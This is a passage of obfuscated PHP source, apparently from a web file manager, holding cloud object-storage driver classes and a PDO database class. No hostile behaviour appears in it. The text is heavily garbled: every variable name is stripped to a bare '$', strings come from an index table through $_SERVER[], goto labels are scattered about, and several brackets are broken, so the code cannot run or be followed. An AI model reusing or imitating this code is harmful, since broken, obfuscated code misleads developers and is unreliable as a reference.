); } public function fileOutImage($, $ = 250) { $ = $this->link($ . $_SERVER[][1592] . $); $this->fileO
utLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function has
hMd5($) { $ =& $_SERVER[]; $ = $this->_objectMeta($); return isset($[$[245]]) ? $[$[245]] :
!1; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][79]] : 0; } public functi
on info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileI
nfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isF
ile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($
_SERVER[][179], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][181], $); } prote
cted function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } $
= $this->ussRequest($, $[1593]); if (!$[$[1293]]) { return null; } $ = isset($[$[1283]]) ? $[$[128
3]] : array(); if (!isset($[$[1594]])) { return null; } $ = array($[33] => isset($[$[1594]]) ? $[$[1594
]] : null, $[79] => isset($[$[1595]]) ? $[$[1595]] : null, $[245] => isset($[$[1596]]) ? $[$[159
6]] : null, $[1563] => isset($[$[1597]]) ? $[$[1597]] : null); $[$[1564]] = isset($[$[1598]]) ? str
totime($[$[1598]]) : $[$[1563]]; return $; } protected function _isFolder($) { $ =& $_SERVER[]; if (
$ == $[12] || $ == $[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$[33]]) && $[
$[33]] == $[78] ? !0 : !1; } } goto e; E: class PathDriverOBS extends PathDriverBaseS3 { public function __construct($
) { parent::__construct($); $this->setSignVersion($_SERVER[][247]); } public function fileOutImage($, $ = 250) {
$ =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $); } $ = array
($[1453] => $[1454] . $ . $[1455]); $ = $this->link($, $); $this->fileOutLink($); } public function fileOu
tLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[313]) { $ = $[314] . substr($, 7); } header($
[175] . $); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $thi
s->setSignVersion($_SERVER[][247]); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $
[313]) { $ = $[314] . substr($, 7); } header($[175] . $); die; } } class PathDriverOSS extends PathDriverBase
{ protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $e
ndpoint = null; protected $client = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $cdnHost = ''; public $c
onfig = array(); public function __construct($) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1456]; $this->_init($
); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ => $) { if (isset($th
is->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exc
eption($[1457] . LNG($[1458])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->se
tConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[]; $ = new OSS\Model\CorsConfig(); $ = new OSS\M
odel\CorsRule(); $->addAllowedOrigin($[1459]); $->addAllowedMethod($[1460]); $->addAllowedMethod($[1461]); $
->addAllowedMethod($[1462]); $->addAllowedMethod($[1463]); $->addAllowedMethod($[165]); $->setMaxAgeSecond
s(600); $->addExposeHeader($[1464]); $->addAllowedHeader($[1459]); $->addRule($); try { $this->client->putBuc
ketCors($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); re
turn !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[]; $ = null; try { $ = $this->client->getBucketCo
rs($this->bucket); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return null;
} if (!$ || !($ = $->getRules())) { return null; } $ = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods
(); $ = $[0]->getMaxAgeSeconds(); $ = $[0]->getExposeHeaders(); $ = $[0]->getAllowedHeaders(); return array($
[218] => isset($[0]) ? $[0] : $[12], $[222] => $, $[1465] => $, $[1466] => isset($[0]) ? $
[0] : $[12], $[219] => isset($[0]) ? $[0] : $[12]); } public function isBucketCors() { $ =& $_SERVER[]; $
 = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$[218]] != $[220] || $[$[219]] != $
[220]) { return !1; } $ = array_map($[221], $[$[222]]); if (!is_array($)) { $ = array(); } $ = array($[2
23], $[224], $[225], $[226], $[227]); $ = array_diff($, $); return empty($); } public function mkfil
e($, $ = '', $ = REPEAT_RENAME) { $ = $this->setContent($, $); if ($ !== !1) { return $this->getPathOuter($
); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($)) { return $this->getPathOu
ter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this
->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); return !1; } return $this->getPathOuter($); } private function
fileList($, $ = '', $ = 0) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !=
= $[228] ? $[12] : $ . $[8]; $ = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); $
 = array($[1467] => $, $[1468] => $, $[1469] => $, $[1470] => $); try { $ = $this->clien
t->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage
()); break; } $ = $->getNextMarker(); $ = $->getObjectList(); $ = $->getPrefixList(); foreach ($ as $)
{ if ($->getKey() == $) { continue; } $ = $->getKey(); $ = $->getSize(); $ = $->getLastModified();
$ = trim($->getETag(), $[121]); $
), $[1471] => $) : $; $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $ = array
($[79] => $, $[1472] => $, $[88] => strtotime($), $[1473] => $, $[1471] => $); $this->cache
MethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $
$->getPrefix(); $this->cacheMethodInfoSet($->getPrefix(), !0); } if ($ === $[12]) { break; } } $this->cacheMethodInfo
Set($, !0); return array($[85] => $, $[86] => $); } public function listObject($, $ = '') { $ =& $_S
ERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[228] ? $[12] : $ . $[8]
; $ = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); $ = array($[1467] => $, $
[1468] => $, $[1469] => $, $[1470] => $); try { $ = $this->client->listObjects($this->bucket, $); } catc
h (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); break; } $ = $->getNextMark
er(); $ = $->getObjectList(); foreach ($ as $) { if ($->getKey() == $) { continue; } $ = $->getKey(); $
 = $->getSize(); $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; if ($) { continue; } $[]
= $ . $[214] . $; } if ($ === $[12]) { break; } } return array($[85] => $, $[86] => $); } pub
lic function copyFile($, $) { $ = $this->size($); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject
($this->bucket, $, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_S
ERVER[][214] . $->getMessage()); return !1; } return $this->getPathOuter($); } $ = $this->multiCopyObject($, $,
$); return $ ? $this->getPathOuter($) : !1; } private function multiCopyObject($, $, $) { $ =& $_SERVER
[]; try { $ = array(); if ($ = $this->hashMd5($)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1474] =>
$)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); $ = 1; $ = 0; $ = ar
ray(); $ = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($, $); foreach ($ as $ => $) {
$ = $ + (int) $[$[1475]]; $ = (int) $[$[422]] + $ - 1; $ = array($[167] => $
, $[168] => $); $[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($), $, $
, $); $ = $ + 1; } $ = array(); foreach ($ as $ => $) { $[] = array($[308] => $ + 1, $
[309] => $); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssExce
ption $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } return !0; } public function moveFile($
, $) { if ($this->copyFile($, $)) { $this->remove($); return $this->getPathOuter($); } return !1; } public fun
ction delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $)
{ $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); return !1; } return !0; } public function delFolder($)
{ $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $thi
s->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[228] && !in_array($, $
[$[85]])) { $[$[85]][] = $; } $ = $this->delByBatch($[$[86]]); if (!$) { return !1; } $ = $this->
delByBatch($[$[85]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (ar
ray_chunk($, 1000) as $) { try { $this->client->deleteObjects($this->bucket, $); } catch (OSS\Core\OssException $) { $this
->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); return !1; } } return !0; } public function rename($, $) { r
eturn $this->renameObject($, $); } private function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $
 = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($), $[33] => $[230], $[79] => isset($
[$[79]]) ? $[$[79]] : 0, $[169] => $this->ext($)); if ($) { return $; } $[$[231]] = $[$[
88]] = 0; $[$[232]] = $[$[233]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $
; } $ = array($[88] => strtotime($[$[1473]]), $[79] => $[$[1472]] + 0, $[1471] => $[$[1471]
]); } if (isset($[$[1471]]) && $[$[1471]]) { $[$[235]] = trim($[$[1471]], $[121]); } if (isset($
[$[79]])) { $[$[79]] = $[$[79]]; } if (isset($[$[88]])) { $[$[88]] = $[$[88]]; } if (isset
($[$[206]]) && !trim($[$[88]])) { $[$[88]] = $[$[206]]; } return $; } private function folderInfo($
, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] =>
$this->getPathOuter($[8] . $), $[33] => $[78]); if ($) { return $; } $[$[231]] = $[$
[88]] = 0; $[$[232]] = $[$[233]] = !0; if (empty($)) { $ = rtrim($, $[8]) . $[8]; $ =
$this->objectMeta($); if (!$) { return $; } $ = array($[231] => $[$[583]][$[1476]], $[88]
=> strtotime($[$[1473]])); } if (isset($[$[88]])) { $[$[88]] = $[$[88]]; } if (isset($[$
[231]])) { $[$[231]] = $[$[231]]; } return $; } public function listPath($, $ = false) { $ =& $_SE
RVER[]; $ = $this->fileList($, $[8], !0); foreach ($[$[85]] as $ => $) { $[$[85]][$] = $t
his->folderInfo($, $, $); } foreach ($[$[86]] as $ => $) { $[$[86]][$] = $this->fileInfo($
[$[32]], $, $); } return $; } protected function infoChildren($, &$) { $SERVER[]; $ = $
this->fileList($, $12], !0); $[$81]] += count($[$85]]); $[$80]] += count($[$86]]); foreach (
$[$86]] as $) { if (!$ || !$[$79]]) { continue; } $[$79]] += $[$79]]; } } public function h
as($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $
[228] ? $[12] : $ . $[8]; $ = $[12]; $ = 500; $ = $ = 0; while (!0) { check_abort(); $ = arra
y($[1467] => $[8], $[1468] => $, $[1469] => $, $[1470] => $); try { $ = $this->client->listObject
s($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); bre
ak; } $ = $->getNextMarker(); $ = $->getObjectList(); $ = $->getPrefixList(); if ($) { if (count($) > 1
|| count($) == 1 && $[0]->getKey() != $) { $ += count($) - 1; } if (!empty($)) { $ += count($); } i
f ($ === $[12]) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || $[0]->getKey() != $) {
return !0; } } } else { if (!empty($)) { return !0; } } if ($ === $[12]) { break; } } if ($) { return array($[239]
=> $, $[240] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $this->fileList($
, $[12], !0); $ = array_to_keyvalue($[$[86]], $[32]); foreach ($[$[85]] as $) { if (is_string($
)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } public function canRead($) { $ =
& $_SERVER[]; $ = $this->pathAcl($); return $ == $[1477] || $ == $[627] ? !0 : !1; } public function canWrit
e($) { $ = $this->pathAcl($); return $ == $_SERVER[][627] ? !0 : !1; } public function pathAcl($) { $
=& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ = $this->
client->getObjectAcl($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $
[214] . $->getMessage()); return !1; } $ = $ == $[37] ? $this->bucketAcl : $; if ($ == $[1478]) { retu
rn $[1477]; } if ($ == $[1479]) { return $[627]; } return $; } private function chmodPath($, $ = '') { $
 =& $_SERVER[]; $ = empty($) ? $[1479] : $; $ = array($[37], $[229], $[1478], $[1479]); if (!in_ar
ray($, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssEx
ception $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } return !0; } public function getContent($
) { return $this->fileSubstr($, -1); } public function setContent($, $ = '') { $ =& $_SERVER[]; try { $ =
$this->trafficLimit($[1480]); $ = $this->client->putObject($this->bucket, $this->pathEncode($), $, $); } catch (OSS\
Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } $ = array($[1474] => tri
m($[$[1471]], $[121]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $
); return isset($[$[1481]][$[292]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode(
$); try { $ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $
); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); return !1; }
return !0; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = trim($
, $[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADE
RS => array($[1474] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $ = $this->traf
ficLimit($[1480], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $, $); } catch (OS
S\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } return $this->getPathOuter
($); } public function getHost() { $ =& $_SERVER[]; $ = explode($[210], parent::getHost()); return $[0] . $
[210] . $this->bucket . $[10] . $[1]; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; i
f (!($ = $this->getHost())) { return !1; } $ = $; $ = date($[1482], time() + $); $ = new DateTime($); $
 = $->format(DateTime::ISO8601); $ = strpos($, $[381]); $ = substr($, 0, $) . $[1483]; $ = 1048576
000 * 5; $ = $this->pathFather($); $ = array($[275] => $, $[278] => array(array($[1484], 0, $), arra
y($[281], $[282], $))); $ = base64_encode(json_encode($)); $ = base64_encode(hash_hmac($[263], $,
$this->secret, !0)); $ = array($[293] => $, $[1485] => $this->accessKey, $[285] => $[274], $[1486] =>
$, $[208] => $); $ = $this->trafficLimit($[1480], $); return $; } public function multiUploadFormData($
, $ = 3600) { $ =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $ = $this->trafficLimit($[1480])
; $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); return array($[254] => $, $
[208] => $ . $[8] . $this->pathEncode($), $[255] => gmdate($[1487]), $[97] => $); } public function multiUpl
oadAuthData($, $ = array()) { $ =& $_SERVER[]; $ = isset($[$[255]]) ? $[$[255]] : gmdate($
[1487]); $ = isset($[$[169]]) ? $[$[169]] : $[12]; $ = $; if (isset($[$[97]])) { $
 = $[$[97]]; unset($[$[97]]); } if (isset($[$[256]])) { $[$[255]] = $; return $this->l
istUploadParts($, $); } $ = array($[257], $[12], $[123], $, "\170\55\157\x73\x73\55\x64\141\164\145\x3a{$
}", $[8] . $this->bucket . $[8] . $ . $); if (strpos($, $[258]) === 0) { $[0] = $[259]; if ($
 = $this->trafficLimit($[1480])) { $ = $[1488]; array_splice($, 5, 0, $ . $[4] . $[$]); } } if
(isset($[$[260]]) && $[$[260]] == $[261]) { $[0] = $[261]; } if (!empty($[$[1489]])) { $
= array_merge(array($[4]), $[$[1489]]); sort($); $[4] = implode($[262], $); } $ = implode($[262],
$); $ = base64_encode(hash_hmac($[263], $, $this->secret, !0)); $ = $[1457] . $this->accessKey . $[4] . $
; if (strpos($, $[258]) === 0) { $ = array($[265] => $, $[255] => $); if ($) { $ = array_
merge($, $); } } return $; } public function listUploadParts($, $) { $ =& $_SERVER[]; $ = parse_url
_query($[$[169]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($), $[$[254]]); $ = $->g
etListPart(); $ = array(); foreach ($ as $) { $[] = array($[308] => $->getPartNumber(), $[309] => trim(
$->getETag(), $[121])); } unset($[$[256]], $[$[260]]); $ = $this->multiUploadAuthData($, $); if (
empty($)) { return !1; } return array($[265] => $, $[255] => $[$[255]], $[267] => $); } public functi
on download($, $) { $ =& $_SERVER[]; if ($this->isFolder($)) { return !1; } try { $ = array(OSS\OssClient:
:OSS_FILE_DOWNLOAD => $); $ = $this->trafficLimit($[112], $); $this->client->getObject($this->bucket, $this->pathEncod
e($), $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1;
} return $; } public function fileSubstr($, $ = 0, $ = false) { if ($ === -1) { $ = array(); } else { if ($
=== !1) { $ = $this->size($); } else { $ = $ + $ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$}\x2d{
$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $
) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); think_exception($->getMessage()); return !1; } } priv
ate function trafficLimit($, $ = array()) { $ =& $_SERVER[]; if ($ == $[1480] && $this->isUploadServer()
|| $ == $[112] && $this->isFileOutServer()) { return $; } $ = floatval($GLOBALS[$[6]][$[92]][$[110]]
[$]) * 1024 * 1024 * 8; if (!$) { return $; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $);
$[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); return $; } public function link($, $ = array()) { $ =& $_SE
RVER[]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $ = $this->trafficLimit($[112], $);
$ = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $[261], $); return $this->getCdnLink($);
} catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } } public function f
ileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->file
OutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $ = rawurlencode($); $ = get_file
_mime(get_path_ext($)); if ($ == $[248]) { return parent::fileOut($, $, $, $); } $ = $ ? $[
1490] : $[1491]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1492] . rawurlencode("{$}\73\146\x69\154\145\x6e\x61\15
5\145\75{$}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1493] . rawurlencode($); $ = $this->link($, $);
$this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $
, $, $); } public function fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 20) { return $this->fileOutImag
eServer($, $); } $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1454] . $); $ = $this->link($, $); $
this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public func
tion fileOutLink($) { $ =& $_SERVER[]; if (!$this->isCdnHost() && substr($, 0, 7) == $[313]) { $ = $[314] . su
bstr($, 7); } header($[175] . $); die; } public function hashMd5($, $ = '') { $ =& $_SERVER[]; $ = $this->
_objectMeta($); if (!$) { return $[12]; } if (!isset($[$[1474]]) && !empty($)) { $ = $this->updateObjMeta($
, array($[1474] => $)); $[$[1474]] = $ ? $ : $[12]; } return isset($[$[1474]]) ? strtolower($
[$[1474]]) : $[12]; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][
79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($
)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($);
} public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return
$this->cacheMethod($_SERVER[][179], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][181]
, $); } protected function _objectMeta($) { $ =& $_SERVER[]; try { $ = $this->client->getObjectMeta($this->bucket
, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); $
 = !1; } if ($) { $[$[79]] = intval($[$[1472]]); } return $; } protected function _isFolder($)
{ $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ = array($[1467] => $[8], $
[1468] => rtrim($, $[8]) . $[8], $[1469] => 1, $[1470] => $[12]); $ = $this->client->listObjects($this-
>bucket, $); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } public function writeLog($ = '',
$ = false) { $ =& $_SERVER[]; $ = in_array(ACTION, array($[212], $[213])); if (!$ && !GLOBAL_DEBUG) {
return; } $ = 0; if (stripos($, $[1494]) !== !1) { $ = 1; $ = explode($[1495], $); $ = !empty($
[1]) ? $[1] : $; } else { if (stripos($, $[1496])) { $ = 2; $ = explode($[1496], $); $ = explo
de($[4], $[0]); $ = !empty($[1]) ? $[1] : $; } } if ($ && I18n::getType() == $[1497]) { if ($
== 1) { $ = str_replace($[1498], $[1499], $); } else { if ($ == 2) { $ = explode($[214], $[0]); $
 = isset($[1]) ? $[1] : $[12]; $ = array($[1500] => $[1501], $[1502] => $[1503], $[1
504] => $[1505], $[1506] => $[1507], $[1508] => $[1509], $[1510] => $[1511], $[1512] => $
[1513], $[1514] => $[1515], $[1516] => $[1517], $[1518] => $[1519]); if (isset($[$])) { $
 = $[$]; } } } if (stripos($, $[1520])) { $ = $[1521]; } } if (!trim($)) { return; } parent::writ
eLog(trim($), $); } } goto e; c: class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public funct
ion __construct($ = '') { $ =& $_SERVER[]; if (!class_exists($[988])) { think_exception(think_lang($[14]) . $[989]);
} if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public functi
on connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->con
fig; } $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($) { $[$[17]][PDO::AT
TR_PERSISTENT] = !0; } try { $this->linkID[$] = new PDO($[$[990]], $[$[962]], $[$[963]], $[$[17]]);
} catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($[$[990]]); if (in_a
rray($this->dbType, array($[991], $[992], $[993], $[994]))) { think_exception($[995] . $this->dbType . $[996]
. $this->dbType . $[997]); } if (!$this->linkID[$]) { think_exception($[998]); } try { $this->linkID[$]->exec($[999
] . think_config($[965])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($[22])) { unset($this->con
fig); } } return $this->linkID[$]; } public function free() { $this->PDOStatement = null; } public function query($, $ = array
()) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($))
{ $this->queryStr .= $[1000] . print_r($, !0) . $[1001]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_
status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) {
think_exception($this->error()); } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1;
} else { return $this->getAll(); } } public function execute($, $ = array()) { $ =& $_SERVER[]; $this->initConnect(!0)
; if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $[1000] . print_r($, !0)
. $[1001]; } $ = !1; if ($this->dbType == $[994]) { if (preg_match($[1002], $this->queryStr, $)) { $this->table
= think_config($[1003]) . str_ireplace(think_config($[1004]), $[329], $[2]); $ = (bool) $this->query($[1005]
. strtoupper($this->table) . $[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[25], 1); think
_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error())
; } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows
= $this->PDOStatement->rowCount(); if ($ || preg_match($[1006], $)) { $this->lastInsID = $this->getLastInsertId(); } return $
this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) {
$this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->
_linkID->commit(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->
transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } priva
te function getAll() { $ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($); return $; } public
function getFields($) { $ =& $_SERVER[]; $this->initConnect(!0); if (think_config($[1007])) { $ = str_replace($
[1008], $, think_config($[1007])); } else { switch ($this->dbType) { case $[991]: case $[1009]: $ = "\x53\x45
\x4c\105\103\x54\x20\x20\x20\x63\x6f\154\165\x6d\156\137\x6e\x61\155\x65\40\x61\x73\x20\x27\x4e\x61\x6d\145\x27\54\40\40\x20\144\141\x74\x61
\x5f\164\171\x70\x65\40\141\163\40\x27\124\x79\x70\145\47\54\x20\40\x20\143\157\154\x75\155\156\x5f\144\145\x66\141\x75\154\x74\x20\141\163\
x20\47\x44\145\146\141\x75\154\x74\47\54\40\x20\40\151\163\137\156\x75\x6c\154\x61\142\154\145\40\141\163\40\x27\x4e\165\154\154\47\xa\x9\x9
\x46\x52\117\x4d\x9\x69\156\x66\x6f\x72\x6d\141\164\151\x6f\x6e\137\163\143\150\x65\155\x61\56\x74\141\142\x6c\145\163\40\101\123\x20\164\xa
\11\x9\x4a\117\x49\x4e\11\x69\156\146\x6f\162\x6d\141\x74\x69\x6f\156\137\x73\143\x68\145\x6d\141\56\x63\157\x6c\165\x6d\x6e\163\x20\x41\123
\x20\x63\12\11\x9\x4f\x4e\40\x20\164\56\164\x61\x62\x6c\145\x5f\143\141\x74\141\x6c\x6f\x67\40\x3d\x20\143\x2e\x74\x61\x62\154\145\x5f\143\x
61\164\x61\154\x6f\147\xa\x9\x9\101\116\104\40\x74\56\164\x61\142\x6c\145\137\163\143\x68\x65\155\x61\x20\75\x20\x63\x2e\164\x61\x62\x6c\145
\x5f\163\143\x68\x65\155\x61\12\11\11\x41\116\104\x20\x74\56\x74\x61\x62\154\x65\x5f\x6e\x61\155\x65\40\x3d\40\x63\56\x74\x61\x62\x6c\x65\x5
f\x6e\141\155\x65\12\x9\x9\127\x48\x45\x52\x45\40\x20\40\x74\56\164\141\142\154\145\137\x6e\x61\155\145\40\75\40\47{$}\x27"; break; ca
se $[1010]: $ = $[1011] . $ . $[1012]; break; case $[992]: case $[994]: $ = $[1013] . $
[1014] . $[1015] . strtoupper($) . $[1016] . strtoupper($) . $[1017]; break; case $[1018]: $ = $[
1019] . $ . $[1020]; break; case $[993]: break; case $[1021]: default: $ = $[1022] . ($this->dbType == $
[1021] ? "\x60{$}\140" : $); } } $ = $this->query($); $ = array(); if ($) { foreach ($ as $
=> $) { $ = array_change_key_case($); $[$[32]] = isset($[$[32]]) ? $[$[32]] : $[329]; $
[$[33]] = isset($[$[33]]) ? $[$[33]] : $[329]; $ = isset($[$[359]]) ? $[$[359]] :
$[$[32]]; $[$] = array($[32] => $, $[33] => $[$[33]], $[35] => (bool) (isset($[$
[106]]) && $[$[106]] === $[12] || isset($[$[35]]) && $[$[35]] === $[12]), $[37] => isset($
[$[37]]) ? $[$[37]] : (isset($[$[56]]) ? $[$[56]] : $[329]), $[39] => isset($[$[97
]]) ? strtolower($[$[97]]) == $[41] : (isset($[$[57]]) ? $[$[57]] : !1), $[42] => isset($[$
[1023]]) ? strtolower($[$[1023]]) == $[44] : (isset($[$[97]]) ? $[$[97]] : !1)); } } return $; } p
ublic function getTables($ = '') { $ =& $_SERVER[]; if (think_config($[1024])) { $ = str_replace($[1025], $
, think_config($[1024])); } else { switch ($this->dbType) { case $[992]: case $[994]: $ = $[1026]; break; case $[99
1]: case $[1009]: $ = $[1027]; break; case $[1018]: $ = $[1028]; break; case $[993]: think_exception(think_lan
g($[1029]) . $[1030]); break; case $[1010]: $ = $[45] . $[46] . $[47]; break; case $[1021]: default: if (!e
mpty($)) { $ = $[973] . $ . $[974]; } else { $ = $[975]; } } } $ = $this->query($); $ = array
(); foreach ($ as $ => $) { $[$] = current($); } return $; } protected function parseLimit($) { $
=& $_SERVER[]; $ = $[12]; if (!empty($)) { switch ($this->dbType) { case $[1018]: case $[1010]: $ = explod
